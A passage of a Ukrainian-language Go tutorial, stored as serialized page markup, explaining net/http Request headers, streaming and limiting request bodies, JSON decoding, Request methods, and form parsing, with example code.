автоматично перетворює імена заголовків до канонічної форми Title-Case: ",[5236,17942,17943],{},"content-type",[5236,17945,8170],{},[5236,17947,17948],{},"accept-encoding",[5236,17950,8140],{},". Це означає, що ",[5236,17953,17954],{},"r.Header.Get(\"content-type\")",[5236,17956,17957],{},"r.Header.Get(\"Content-Type\")"," повернуть один і той самий результат.",[7759,17960,16915,17962,17965],{"id":17961},"поле-body-ioreadcloser-потокове-читання-тіла",[5236,17963,17964],{},"Body io.ReadCloser",": потокове читання тіла",[5348,17967,17968,17969,17972,17973,5222,17975,7256],{},"Тіло запиту представлено інтерфейсом ",[5236,17970,17971],{},"io.ReadCloser",", який об'єднує ",[5236,17974,5264],{},[5236,17976,17977],{},"io.Closer",[5464,17979,17981],{"className":5550,"code":17980,"language":5553,"meta":5472,"style":5472},"type ReadCloser interface {\n    Read(p []byte) (n int, err error)\n    Close() error\n}\n",[5236,17982,17983,17994,18023,18032],{"__ignoreMap":5472},[5557,17984,17985,17987,17990,17992],{"class":5559,"line":5560},[5557,17986,11991],{"class":5563},[5557,17988,17989],{"class":5567}," ReadCloser",[5557,17991,12160],{"class":5563},[5557,17993,5701],{"class":5585},[5557,17995,17996,17999,18001,18003,18005,18007,18009,18012,18014,18016,18018,18021],{"class":5559,"line":5571},[5557,17997,17998],{"class":5637},"    Read",[5557,18000,5673],{"class":5585},[5557,18002,5348],{"class":5654},[5557,18004,12049],{"class":5585},[5557,18006,6957],{"class":5567},[5557,18008,12054],{"class":5585},[5557,18010,18011],{"class":5654},"n",[5557,18013,6650],{"class":5567},[5557,18015,5305],{"class":5585},[5557,18017,5660],{"class":5654},[5557,18019,18020],{"class":5567}," error",[5557,18022,5623],{"class":5585},[5557,18024,18025,18027,18029],{"class":5559,"line":5578},[5557,18026,16753],{"class":5637},[5557,18028,8953],{"class":5585},[5557,18030,18031],{"class":5567},"error\n",[5557,18033,18034],{"class":5559,"line":5589},[5557,18035,5922],{"class":5585},[5348,18037,18038,18041,18042,5302,18045,18047,18048,5268],{},[5205,18039,18040],{},"Критично важливо:"," Ви ",[5205,18043,18044],{},"завжди повинні закривати",[5236,18046,12243],{}," після читання, навіть якщо виникла помилка. Використовуйте ",[5236,18049,18050],{},"defer r.Body.Close()",[5348,18052,18053],{},[5205,18054,18055],{},"Способи читання тіла:",[5464,18057,18059],{"className":5550,"code":18058,"language":5553,"meta":5472,"style":5472},"\u002F\u002F 1. Читання всього тіла в пам'ять (для невеликих даних)\nfunc readAllBody(w http.ResponseWriter, r *http.Request) {\n    defer r.Body.Close()\n\n    body, err := io.ReadAll(r.Body)\n    if err != nil {\n        http.Error(w, \"Failed to read body\", http.StatusBadRequest)\n        return\n    }\n\n    fmt.Fprintf(w, \"Received %d bytes: %s\", len(body), string(body))\n}\n\n\u002F\u002F 2. Потокова обробка (для великих даних)\nfunc streamBody(w http.ResponseWriter, r *http.Request) {\n    defer r.Body.Close()\n\n    \u002F\u002F Обмеження розміру читання (захист від DoS)\n    limitedBody := io.LimitReader(r.Body, 10*1024*1024) \u002F\u002F 10 MB\n\n    \u002F\u002F Потокове копіювання у файл\n    dst, _ := os.Create(\"uploaded.bin\")\n    defer dst.Close()\n\n    io.Copy(dst, limitedBody)\n}\n\n\u002F\u002F 3. Декодування JSON (найчастіше для API)\nfunc decodeJSON(w http.ResponseWriter, r *http.Request) {\n    defer r.Body.Close()\n\n    var payload struct {\n        Name  string `json:\"name\"`\n        Email string `json:\"email\"`\n    }\n\n    decoder := json.NewDecoder(r.Body)\n    decoder.DisallowUnknownFields() \u002F\u002F Строга валідація\n    \n    if err := decoder.Decode(&payload); err != nil {\n        http.Error(w, fmt.Sprintf(\"Invalid JSON: %v\", err), http.StatusBadRequest)\n        return\n    }\n\n    \u002F\u002F Перевірка, чи немає зайвих даних після JSON\n    if decoder.More() {\n        http.Error(w, \"Extraneous data after JSON\", http.StatusBadRequest)\n        return\n    }\n\n    fmt.Fprintf(w, \"Name: %s, Email: %s\", payload.Name, payload.Email)\n}\n",[5236,18060,18061,18066,18097,18113,18117,18145,18157,18184,18188,18192,18196,18240,18244,18248,18253,18284,18300,18304,18309,18351,18355,18360,18386,18399,18403,18424,18428,18432,18437,18468,18484,18488,18499,18508,18518,18522,18526,18549,18563,18567,18596,18639,18643,18647,18651,18656,18670,18697,18701,18705,18709,18754],{"__ignoreMap":5472},[5557,18062,18063],{"class":5559,"line":5560},[5557,18064,18065],{"class":5647},"\u002F\u002F 1. Читання всього тіла в пам'ять (для невеликих даних)\n",[5557,18067,18068,18070,18073,18075,18077,18079,18081,18083,18085,18087,18089,18091,18093,18095],{"class":5559,"line":5571},[5557,18069,5634],{"class":5563},[5557,18071,18072],{"class":5637}," readAllBody",[5557,18074,5673],{"class":5585},[5557,18076,8909],{"class":5654},[5557,18078,8912],{"class":5567},[5557,18080,5268],{"class":5585},[5557,18082,8917],{"class":5567},[5557,18084,5305],{"class":5585},[5557,18086,8922],{"class":5654},[5557,18088,8925],{"class":5585},[5557,18090,8928],{"class":5567},[5557,18092,5268],{"class":5585},[5557,18094,8933],{"class":5567},[5557,18096,5949],{"class":5585},[5557,18098,18099,18101,18103,18105,18107,18109,18111],{"class":5559,"line":5578},[5557,18100,5741],{"class":5581},[5557,18102,10109],{"class":5654},[5557,18104,5268],{"class":5585},[5557,18106,15196],{"class":5654},[5557,18108,5268],{"class":5585},[5557,18110,5749],{"class":5637},[5557,18112,5752],{"class":5585},[5557,18114,18115],{"class":5559,"line":5589},[5557,18116,5575],{"emptyLinePlaceholder":5574},[5557,18118,18119,18122,18124,18126,18128,18130,18132,18135,18137,18139,18141,18143],{"class":5559,"line":5596},[5557,18120,18121],{"class":5654},"    body",[5557,18123,5305],{"class":5585},[5557,18125,5660],{"class":5654},[5557,18127,5663],{"class":5585},[5557,18129,5311],{"class":5654},[5557,18131,5268],{"class":5585},[5557,18133,18134],{"class":5637},"ReadAll",[5557,18136,5673],{"class":5585},[5557,18138,8922],{"class":5654},[5557,18140,5268],{"class":5585},[5557,18142,15196],{"class":5654},[5557,18144,5623],{"class":5585},[5557,18146,18147,18149,18151,18153,18155],{"class":5559,"line":5602},[5557,18148,5689],{"class":5581},[5557,18150,5692],{"class":5654},[5557,18152,5695],{"class":5585},[5557,18154,5698],{"class":5563},[5557,18156,5701],{"class":5585},[5557,18158,18159,18161,18163,18165,18167,18169,18171,18174,18176,18178,18180,18182],{"class":5559,"line":5608},[5557,18160,9300],{"class":5654},[5557,18162,5268],{"class":5585},[5557,18164,9267],{"class":5637},[5557,18166,5673],{"class":5585},[5557,18168,8909],{"class":5654},[5557,18170,5305],{"class":5585},[5557,18172,18173],{"class":5592},"\"Failed to read body\"",[5557,18175,5305],{"class":5585},[5557,18177,8928],{"class":5654},[5557,18179,5268],{"class":5585},[5557,18181,13902],{"class":5654},[5557,18183,5623],{"class":5585},[5557,18185,18186],{"class":5559,"line":5614},[5557,18187,6076],{"class":5581},[5557,18189,18190],{"class":5559,"line":5620},[5557,18191,5735],{"class":5585},[5557,18193,18194],{"class":5559,"line":5626},[5557,18195,5575],{"emptyLinePlaceholder":5574},[5557,18197,18198,18200,18202,18204,18206,18208,18210,18213,18215,18218,18220,18222,18224,18226,18228,18230,18232,18234,18236,18238],{"class":5559,"line":5631},[5557,18199,5763],{"class":5654},[5557,18201,5268],{"class":5585},[5557,18203,9146],{"class":5637},[5557,18205,5673],{"class":5585},[5557,18207,8909],{"class":5654},[5557,18209,5305],{"class":5585},[5557,18211,18212],{"class":5592},"\"Received ",[5557,18214,6794],{"class":5654},[5557,18216,18217],{"class":5592}," bytes: ",[5557,18219,6238],{"class":5654},[5557,18221,5723],{"class":5592},[5557,18223,5305],{"class":5585},[5557,18225,6871],{"class":5637},[5557,18227,5673],{"class":5585},[5557,18229,5531],{"class":5654},[5557,18231,7675],{"class":5585},[5557,18233,6692],{"class":5567},[5557,18235,5673],{"class":5585},[5557,18237,5531],{"class":5654},[5557,18239,6878],{"class":5585},[5557,18241,18242],{"class":5559,"line":5644},[5557,18243,5922],{"class":5585},[5557,18245,18246],{"class":5559,"line":5651},[5557,18247,5575],{"emptyLinePlaceholder":5574},[5557,18249,18250],{"class":5559,"line":5686},[5557,18251,18252],{"class":5647},"\u002F\u002F 2. Потокова обробка (для великих даних)\n",[5557,18254,18255,18257,18260,18262,18264,18266,18268,18270,18272,18274,18276,18278,18280,18282],{"class":5559,"line":5704},[5557,18256,5634],{"class":5563},[5557,18258,18259],{"class":5637}," streamBody",[5557,18261,5673],{"class":5585},[5557,18263,8909],{"class":5654},[5557,18265,8912],{"class":5567},[5557,18267,5268],{"class":5585},[5557,18269,8917],{"class":5567},[5557,18271,5305],{"class":5585},[5557,18273,8922],{"class":5654},[5557,18275,8925],{"class":5585},[5557,18277,8928],{"class":5567},[5557,18279,5268],{"class":5585},[5557,18281,8933],{"class":5567},[5557,18283,5949],{"class":5585},[5557,18285,18286,18288,18290,18292,18294,18296,18298],{"class":5559,"line":5732},[5557,18287,5741],{"class":5581},[5557,18289,10109],{"class":5654},[5557,18291,5268],{"class":5585},[5557,18293,15196],{"class":5654},[5557,18295,5268],{"class":5585},[5557,18297,5749],{"class":5637},[5557,18299,5752],{"class":5585},[5557,18301,18302],{"class":5559,"line":5738},[5557,18303,5575],{"emptyLinePlaceholder":5574},[5557,18305,18306],{"class":5559,"line":5755},[5557,18307,18308],{"class":5647},"    \u002F\u002F Обмеження розміру читання (захист від DoS)\n",[5557,18310,18311,18314,18316,18318,18320,18323,18325,18327,18329,18331,18333,18336,18339,18342,18344,18346,18348],{"class":5559,"line":5760},[5557,18312,18313],{"class":5654},"    limitedBody",[5557,18315,5663],{"class":5585},[5557,18317,5311],{"class":5654},[5557,18319,5268],{"class":5585},[5557,18321,18322],{"class":5637},"LimitReader",[5557,18324,5673],{"class":5585},[5557,18326,8922],{"class":5654},[5557,18328,5268],{"class":5585},[5557,18330,15196],{"class":5654},[5557,18332,5305],{"class":5585},[5557,18334,18335],{"class":6134},"10",[5557,18337,18338],{"class":5585},"*",[5557,18340,18341],{"class":6134},"1024",[5557,18343,18338],{"class":5585},[5557,18345,18341],{"class":6134},[5557,18347,10276],{"class":5585},[5557,18349,18350],{"class":5647},"\u002F\u002F 10 MB\n",[5557,18352,18353],{"class":5559,"line":5778},[5557,18354,5575],{"emptyLinePlaceholder":5574},[5557,18356,18357],{"class":5559,"line":5794},[5557,18358,18359],{"class":5647},"    \u002F\u002F Потокове копіювання у файл\n",[5557,18361,18362,18365,18367,18369,18371,18374,18376,18379,18381,18384],{"class":5559,"line":5799},[5557,18363,18364],{"class":5654},"    dst",[5557,18366,5305],{"class":5585},[5557,18368,10892],{"class":5654},[5557,18370,5663],{"class":5585},[5557,18372,18373],{"class":5654},"os",[5557,18375,5268],{"class":5585},[5557,18377,18378],{"class":5637},"Create",[5557,18380,5673],{"class":5585},[5557,18382,18383],{"class":5592},"\"uploaded.bin\"",[5557,18385,5623],{"class":5585},[5557,18387,18388,18390,18393,18395,18397],{"class":5559,"line":5807},[5557,18389,5741],{"class":5581},[5557,18391,18392],{"class":5654}," dst",[5557,18394,5268],{"class":5585},[5557,18396,5749],{"class":5637},[5557,18398,5752],{"class":5585},[5557,18400,18401],{"class":5559,"line":5813},[5557,18402,5575],{"emptyLinePlaceholder":5574},[5557,18404,18405,18407,18409,18412,18414,18417,18419,18422],{"class":5559,"line":5835},[5557,18406,12004],{"class":5654},[5557,18408,5268],{"class":5585},[5557,18410,18411],{"class":5637},"Copy",[5557,18413,5673],{"class":5585},[5557,18415,18416],{"class":5654},"dst",[5557,18418,5305],{"class":5585},[5557,18420,18421],{"class":5654},"limitedBody",[5557,18423,5623],{"class":5585},[5557,18425,18426],{"class":5559,"line":5849},[5557,18427,5922],{"class":5585},[5557,18429,18430],{"class":5559,"line":5875},[5557,18431,5575],{"emptyLinePlaceholder":5574},[5557,18433,18434],{"class":5559,"line":5881},[5557,18435,18436],{"class":5647},"\u002F\u002F 3. Декодування JSON (найчастіше для API)\n",[5557,18438,18439,18441,18444,18446,18448,18450,18452,18454,18456,18458,18460,18462,18464,18466],{"class":5559,"line":5887},[5557,18440,5634],{"class":5563},[5557,18442,18443],{"class":5637}," decodeJSON",[5557,18445,5673],{"class":5585},[5557,18447,8909],{"class":5654},[5557,18449,8912],{"class":5567},[5557,18451,5268],{"class":5585},[5557,18453,8917],{"class":5567},[5557,18455,5305],{"class":5585},[5557,18457,8922],{"class":5654},[5557,18459,8925],{"class":5585},[5557,18461,8928],{"class":5567},[5557,18463,5268],{"class":5585},[5557,18465,8933],{"class":5567},[5557,18467,5949],{"class":5585},[5557,18469,18470,18472,18474,18476,18478,18480,18482],{"class":5559,"line":5892},[5557,18471,5741],{"class":5581},[5557,18473,10109],{"class":5654},[5557,18475,5268],{"class":5585},[5557,18477,15196],{"class":5654},[5557,18479,5268],{"class":5585},[5557,18481,5749],{"class":5637},[5557,18483,5752],{"class":5585},[5557,18485,18486],{"class":5559,"line":5898},[5557,18487,5575],{"emptyLinePlaceholder":5574},[5557,18489,18490,18493,18495,18497],{"class":5559,"line":5914},[5557,18491,18492],{"class":5563},"    var",[5557,18494,15151],{"class":5654},[5557,18496,11997],{"class":5563},[5557,18498,5701],{"class":5585},[5557,18500,18501,18503,18505],{"class":5559,"line":5919},[5557,18502,8986],{"class":5654},[5557,18504,16998],{"class":5567},[5557,18506,18507],{"class":5592}," `json:\"name\"`\n",[5557,18509,18510,18513,18515],{"class":5559,"line":5925},[5557,18511,18512],{"class":5654},"        Email",[5557,18514,6662],{"class":5567},[5557,18516,18517],{"class":5592}," `json:\"email\"`\n",[5557,18519,18520],{"class":5559,"line":5930},[5557,18521,5735],{"class":5585},[5557,18523,18524],{"class":5559,"line":5952},[5557,18525,5575],{"emptyLinePlaceholder":5574},[5557,18527,18528,18531,18533,18535,18537,18539,18541,18543,18545,18547],{"class":5559,"line":5966},[5557,18529,18530],{"class":5654},"    decoder",[5557,18532,5663],{"class":5585},[5557,18534,6560],{"class":5654},[5557,18536,5268],{"class":5585},[5557,18538,15187],{"class":5637},[5557,18540,5673],{"class":5585},[5557,18542,8922],{"class":5654},[5557,18544,5268],{"class":5585},[5557,18546,15196],{"class":5654},[5557,18548,5623],{"class":5585},[5557,18550,18551,18553,18555,18558,18560],{"class":5559,"line":5971},[5557,18552,18530],{"class":5654},[5557,18554,5268],{"class":5585},[5557,18556,18557],{"class":5637},"DisallowUnknownFields",[5557,18559,8953],{"class":5585},[5557,18561,18562],{"class":5647},"\u002F\u002F Строга валідація\n",[5557,18564,18565],{"class":5559,"line":5977},[5557,18566,10877],{"class":5585},[5557,18568,18569,18571,18573,18575,18578,18580,18582,18584,18586,18588,18590,18592,18594],{"class":5559,"line":5998},[5557,18570,5689],{"class":5581},[5557,18572,5692],{"class":5654},[5557,18574,5663],{"class":5585},[5557,18576,18577],{"class":5654},"decoder",[5557,18579,5268],{"class":5585},[5557,18581,15201],{"class":5637},[5557,18583,15204],{"class":5585},[5557,18585,15207],{"class":5654},[5557,18587,15210],{"class":5585},[5557,18589,5660],{"class":5654},[5557,18591,5695],{"class":5585},[5557,18593,5698],{"class":5563},[5557,18595,5701],{"class":5585},[5557,18597,18598,18600,18602,18604,18606,18608,18610,18612,18614,18616,18618,18621,18623,18625,18627,18629,18631,18633,18635,18637],{"class":5559,"line":6003},[5557,18599,9300],{"class":5654},[5557,18601,5268],{"class":5585},[5557,18603,9267],{"class":5637},[5557,18605,5673],{"class":5585},[5557,18607,8909],{"class":5654},[5557,18609,5305],{"class":5585},[5557,18611,6781],{"class":5654},[5557,18613,5268],{"class":5585},[5557,18615,6786],{"class":5637},[5557,18617,5673],{"class":5585},[5557,18619,18620],{"class":5592},"\"Invalid JSON: ",[5557,18622,5720],{"class":5654},[5557,18624,5723],{"class":5592},[5557,18626,5305],{"class":5585},[5557,18628,5660],{"class":5654},[5557,18630,7675],{"class":5585},[5557,18632,8928],{"class":5654},[5557,18634,5268],{"class":5585},[5557,18636,13902],{"class":5654},[5557,18638,5623],{"class":5585},[5557,18640,18641],{"class":5559,"line":6009},[5557,18642,6076],{"class":5581},[5557,18644,18645],{"class":5559,"line":6036},[5557,18646,5735],{"class":5585},[5557,18648,18649],{"class":5559,"line":6049},[5557,18650,5575],{"emptyLinePlaceholder":5574},[5557,18652,18653],{"class":5559,"line":6073},[5557,18654,18655],{"class":5647},"    \u002F\u002F Перевірка, чи немає зайвих даних після JSON\n",[5557,18657,18658,18660,18663,18665,18668],{"class":5559,"line":6079},[5557,18659,5689],{"class":5581},[5557,18661,18662],{"class":5654}," decoder",[5557,18664,5268],{"class":5585},[5557,18666,18667],{"class":5637},"More",[5557,18669,5641],{"class":5585},[5557,18671,18672,18674,18676,18678,18680,18682,18684,18687,18689,18691,18693,18695],{"class":5559,"line":6084},[5557,18673,9300],{"class":5654},[5557,18675,5268],{"class":5585},[5557,18677,9267],{"class":5637},[5557,18679,5673],{"class":5585},[5557,18681,8909],{"class":5654},[5557,18683,5305],{"class":5585},[5557,18685,18686],{"class":5592},"\"Extraneous data after JSON\"",[5557,18688,5305],{"class":5585},[5557,18690,8928],{"class":5654},[5557,18692,5268],{"class":5585},[5557,18694,13902],{"class":5654},[5557,18696,5623],{"class":5585},[5557,18698,18699],{"class":5559,"line":6089},[5557,18700,6076],{"class":5581},[5557,18702,18703],{"class":5559,"line":6095},[5557,18704,5735],{"class":5585},[5557,18706,18707],{"class":5559,"line":6118},[5557,18708,5575],{"emptyLinePlaceholder":5574},[5557,18710,18711,18713,18715,18717,18719,18721,18723,18726,18728,18731,18733,18735,18737,18739,18741,18743,18745,18747,18749,18752],{"class":5559,"line":6140},[5557,18712,5763],{"class":5654},[5557,18714,5268],{"class":5585},[5557,18716,9146],{"class":5637},[5557,18718,5673],{"class":5585},[5557,18720,8909],{"class":5654},[5557,18722,5305],{"class":5585},[5557,18724,18725],{"class":5592},"\"Name: ",[5557,18727,6238],{"class":5654},[5557,18729,18730],{"class":5592},", Email: ",[5557,18732,6238],{"class":5654},[5557,18734,5723],{"class":5592},[5557,18736,5305],{"class":5585},[5557,18738,15207],{"class":5654},[5557,18740,5268],{"class":5585},[5557,18742,11331],{"class":5654},[5557,18744,5305],{"class":5585},[5557,18746,15207],{"class":5654},[5557,18748,5268],{"class":5585},[5557,18750,18751],{"class":5654},"Email",[5557,18753,5623],{"class":5585},[5557,18755,18756],{"class":5559,"line":6167},[5557,18757,5922],{"class":5585},[7098,18759,18760,18763,18764,18766,18767,18770,18771,18774,18775,18777,18778,5268],{},[5205,18761,18762],{},"Не читайте Body двічі:"," Після того, як ви прочитали ",[5236,18765,12243],{},", потік вичерпується. Повторна спроба читання поверне ",[5236,18768,18769],{},"EOF",". Якщо вам потрібно зберегти тіло для подальшої обробки, збережіть його у ",[5236,18772,18773],{},"[]byte"," або створіть новий ",[5236,18776,5264],{}," через ",[5236,18779,18780],{},"bytes.NewReader",[7759,18782,18784,18785],{"id":18783},"методи-структури-httprequest","Методи структури ",[5236,18786,13346],{},[5464,18788,18790],{"className":5550,"code":18789,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Отримання контексту запиту\nfunc (r *Request) Context() context.Context\n\n\u002F\u002F Встановлення нового контексту (створює копію запиту!)\nfunc (r *Request) WithContext(ctx context.Context) *Request\n\n\u002F\u002F Отримання cookie за іменем\nfunc (r *Request) Cookie(name string) (*Cookie, error)\n\n\u002F\u002F Отримання всіх cookies\nfunc (r *Request) Cookies() []*Cookie\n\n\u002F\u002F Розбір форми (заповнює r.Form та r.PostForm)\nfunc (r *Request) ParseForm() error\n\n\u002F\u002F Розбір multipart форми (для завантаження файлів)\nfunc (r *Request) ParseMultipartForm(maxMemory int64) error\n\n\u002F\u002F Отримання значення поля форми (викликає ParseForm автоматично)\nfunc (r *Request) FormValue(key string) string\n\n\u002F\u002F Отримання файлу з multipart форми\nfunc (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)\n\n\u002F\u002F Перевірка базової HTTP-автентифікації\nfunc (r *Request) BasicAuth() (username, password string, ok bool)\n\n\u002F\u002F Створення дочірнього запиту (для проксі)\nfunc (r *Request) Clone(ctx context.Context) *Request\n",[5236,18791,18792,18797,18823,18827,18832,18866,18870,18875,18909,18913,18918,18941,18945,18950,18971,18975,18980,19009,19013,19018,19045,19049,19054,19102,19106,19111,19151,19155,19160],{"__ignoreMap":5472},[5557,18793,18794],{"class":5559,"line":5560},[5557,18795,18796],{"class":5647},"\u002F\u002F Отримання контексту запиту\n",[5557,18798,18799,18801,18803,18806,18808,18810,18812,18815,18817,18819,18821],{"class":5559,"line":5571},[5557,18800,5634],{"class":5563},[5557,18802,5226],{"class":5585},[5557,18804,18805],{"class":5654},"r ",[5557,18807,18338],{"class":5585},[5557,18809,8933],{"class":5567},[5557,18811,10276],{"class":5585},[5557,18813,18814],{"class":5637},"Context",[5557,18816,8953],{"class":5585},[5557,18818,5317],{"class":5567},[5557,18820,5268],{"class":5585},[5557,18822,16907],{"class":5567},[5557,18824,18825],{"class":5559,"line":5578},[5557,18826,5575],{"emptyLinePlaceholder":5574},[5557,18828,18829],{"class":5559,"line":5589},[5557,18830,18831],{"class":5647},"\u002F\u002F Встановлення нового контексту (створює копію запиту!)\n",[5557,18833,18834,18836,18838,18840,18842,18844,18846,18849,18851,18854,18856,18858,18860,18863],{"class":5559,"line":5596},[5557,18835,5634],{"class":5563},[5557,18837,5226],{"class":5585},[5557,18839,18805],{"class":5654},[5557,18841,18338],{"class":5585},[5557,18843,8933],{"class":5567},[5557,18845,10276],{"class":5585},[5557,18847,18848],{"class":5637},"WithContext",[5557,18850,5673],{"class":5585},[5557,18852,18853],{"class":5654},"ctx",[5557,18855,16902],{"class":5567},[5557,18857,5268],{"class":5585},[5557,18859,18814],{"class":5567},[5557,18861,18862],{"class":5585},") *",[5557,18864,18865],{"class":5567},"Request\n",[5557,18867,18868],{"class":5559,"line":5602},[5557,18869,5575],{"emptyLinePlaceholder":5574},[5557,18871,18872],{"class":5559,"line":5608},[5557,18873,18874],{"class":5647},"\u002F\u002F Отримання cookie за іменем\n",[5557,18876,18877,18879,18881,18883,18885,18887,18889,18891,18893,18896,18898,18901,18903,18905,18907],{"class":5559,"line":5614},[5557,18878,5634],{"class":5563},[5557,18880,5226],{"class":5585},[5557,18882,18805],{"class":5654},[5557,18884,18338],{"class":5585},[5557,18886,8933],{"class":5567},[5557,18888,10276],{"class":5585},[5557,18890,7339],{"class":5637},[5557,18892,5673],{"class":5585},[5557,18894,18895],{"class":5654},"name",[5557,18897,6662],{"class":5567},[5557,18899,18900],{"class":5585},") (*",[5557,18902,7339],{"class":5567},[5557,18904,5305],{"class":5585},[5557,18906,12061],{"class":5567},[5557,18908,5623],{"class":5585},[5557,18910,18911],{"class":5559,"line":5620},[5557,18912,5575],{"emptyLinePlaceholder":5574},[5557,18914,18915],{"class":5559,"line":5626},[5557,18916,18917],{"class":5647},"\u002F\u002F Отримання всіх cookies\n",[5557,18919,18920,18922,18924,18926,18928,18930,18932,18935,18938],{"class":5559,"line":5631},[5557,18921,5634],{"class":5563},[5557,18923,5226],{"class":5585},[5557,18925,18805],{"class":5654},[5557,18927,18338],{"class":5585},[5557,18929,8933],{"class":5567},[5557,18931,10276],{"class":5585},[5557,18933,18934],{"class":5637},"Cookies",[5557,18936,18937],{"class":5585},"() []*",[5557,18939,18940],{"class":5567},"Cookie\n",[5557,18942,18943],{"class":5559,"line":5644},[5557,18944,5575],{"emptyLinePlaceholder":5574},[5557,18946,18947],{"class":5559,"line":5651},[5557,18948,18949],{"class":5647},"\u002F\u002F Розбір форми (заповнює r.Form та r.PostForm)\n",[5557,18951,18952,18954,18956,18958,18960,18962,18964,18967,18969],{"class":5559,"line":5686},[5557,18953,5634],{"class":5563},[5557,18955,5226],{"class":5585},[5557,18957,18805],{"class":5654},[5557,18959,18338],{"class":5585},[5557,18961,8933],{"class":5567},[5557,18963,10276],{"class":5585},[5557,18965,18966],{"class":5637},"ParseForm",[5557,18968,8953],{"class":5585},[5557,18970,18031],{"class":5567},[5557,18972,18973],{"class":5559,"line":5704},[5557,18974,5575],{"emptyLinePlaceholder":5574},[5557,18976,18977],{"class":5559,"line":5732},[5557,18978,18979],{"class":5647},"\u002F\u002F Розбір multipart форми (для завантаження файлів)\n",[5557,18981,18982,18984,18986,18988,18990,18992,18994,18997,18999,19002,19005,19007],{"class":5559,"line":5738},[5557,18983,5634],{"class":5563},[5557,18985,5226],{"class":5585},[5557,18987,18805],{"class":5654},[5557,18989,18338],{"class":5585},[5557,18991,8933],{"class":5567},[5557,18993,10276],{"class":5585},[5557,18995,18996],{"class":5637},"ParseMultipartForm",[5557,18998,5673],{"class":5585},[5557,19000,19001],{"class":5654},"maxMemory",[5557,19003,19004],{"class":5567}," int64",[5557,19006,10276],{"class":5585},[5557,19008,18031],{"class":5567},[5557,19010,19011],{"class":5559,"line":5755},[5557,19012,5575],{"emptyLinePlaceholder":5574},[5557,19014,19015],{"class":5559,"line":5760},[5557,19016,19017],{"class":5647},"\u002F\u002F Отримання значення поля форми (викликає ParseForm автоматично)\n",[5557,19019,19020,19022,19024,19026,19028,19030,19032,19035,19037,19039,19041,19043],{"class":5559,"line":5778},[5557,19021,5634],{"class":5563},[5557,19023,5226],{"class":5585},[5557,19025,18805],{"class":5654},[5557,19027,18338],{"class":5585},[5557,19029,8933],{"class":5567},[5557,19031,10276],{"class":5585},[5557,19033,19034],{"class":5637},"FormValue",[5557,19036,5673],{"class":5585},[5557,19038,17409],{"class":5654},[5557,19040,6662],{"class":5567},[5557,19042,10276],{"class":5585},[5557,19044,16739],{"class":5567},[5557,19046,19047],{"class":5559,"line":5794},[5557,19048,5575],{"emptyLinePlaceholder":5574},[5557,19050,19051],{"class":5559,"line":5799},[5557,19052,19053],{"class":5647},"\u002F\u002F Отримання файлу з multipart форми\n",[5557,19055,19056,19058,19060,19062,19064,19066,19068,19071,19073,19075,19077,19079,19081,19083,19086,19089,19091,19093,19096,19098,19100],{"class":5559,"line":5807},[5557,19057,5634],{"class":5563},[5557,19059,5226],{"class":5585},[5557,19061,18805],{"class":5654},[5557,19063,18338],{"class":5585},[5557,19065,8933],{"class":5567},[5557,19067,10276],{"class":5585},[5557,19069,19070],{"class":5637},"FormFile",[5557,19072,5673],{"class":5585},[5557,19074,17409],{"class":5654},[5557,19076,6662],{"class":5567},[5557,19078,12054],{"class":5585},[5557,19080,16824],{"class":5567},[5557,19082,5268],{"class":5585},[5557,19084,19085],{"class":5567},"File",[5557,19087,19088],{"class":5585},", *",[5557,19090,16824],{"class":5567},[5557,19092,5268],{"class":5585},[5557,19094,19095],{"class":5567},"FileHeader",[5557,19097,5305],{"class":5585},[5557,19099,12061],{"class":5567},[5557,19101,5623],{"class":5585},[5557,19103,19104],{"class":5559,"line":5813},[5557,19105,5575],{"emptyLinePlaceholder":5574},[5557,19107,19108],{"class":5559,"line":5835},[5557,19109,19110],{"class":5647},"\u002F\u002F Перевірка базової HTTP-автентифікації\n",[5557,19112,19113,19115,19117,19119,19121,19123,19125,19128,19131,19134,19136,19139,19141,19143,19146,19149],{"class":5559,"line":5849},[5557,19114,5634],{"class":5563},[5557,19116,5226],{"class":5585},[5557,19118,18805],{"class":5654},[5557,19120,18338],{"class":5585},[5557,19122,8933],{"class":5567},[5557,19124,10276],{"class":5585},[5557,19126,19127],{"class":5637},"BasicAuth",[5557,19129,19130],{"class":5585},"() (",[5557,19132,19133],{"class":5654},"username",[5557,19135,5305],{"class":5585},[5557,19137,19138],{"class":5654},"password",[5557,19140,6662],{"class":5567},[5557,19142,5305],{"class":5585},[5557,19144,19145],{"class":5654},"ok",[5557,19147,19148],{"class":5567}," bool",[5557,19150,5623],{"class":5585},[5557,19152,19153],{"class":5559,"line":5875},[5557,19154,5575],{"emptyLinePlaceholder":5574},[5557,19156,19157],{"class":5559,"line":5881},[5557,19158,19159],{"class":5647},"\u002F\u002F Створення дочірнього запиту (для проксі)\n",[5557,19161,19162,19164,19166,19168,19170,19172,19174,19177,19179,19181,19183,19185,19187,19189],{"class":5559,"line":5887},[5557,19163,5634],{"class":5563},[5557,19165,5226],{"class":5585},[5557,19167,18805],{"class":5654},[5557,19169,18338],{"class":5585},[5557,19171,8933],{"class":5567},[5557,19173,10276],{"class":5585},[5557,19175,19176],{"class":5637},"Clone",[5557,19178,5673],{"class":5585},[5557,19180,18853],{"class":5654},[5557,19182,16902],{"class":5567},[5557,19184,5268],{"class":5585},[5557,19186,18814],{"class":5567},[5557,19188,18862],{"class":5585},[5557,19190,18865],{"class":5567},[5348,19192,19193],{},[5205,19194,19195],{},"Приклад роботи з формами:",[5464,19197,19199],{"className":5550,"code":19198,"language":5553,"meta":5472,"style":5472},"func formHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Автоматичний парсинг форми\n    username := r.FormValue(\"username\") \u002F\u002F Викликає ParseForm автоматично\n    password := r.FormValue(\"password\")\n\n    \u002F\u002F Або ручний парсинг із обробкою помилок\n    if err := r.ParseForm(); err != nil {\n        http.Error(w, \"Failed to parse form\", http.StatusBadRequest)\n        return\n    }\n\n    \u002F\u002F Доступ до розібраних даних\n    email := r.Form.Get(\"email\")\n    \n    \u002F\u002F Отримання множинних значень (checkbox)\n    interests := r.Form[\"interests\"] \u002F\u002F []string{\"coding\", \"music\", \"sports\"}\n\n    fmt.Fprintf(w, \"User: %s, Interests: %v\", username, 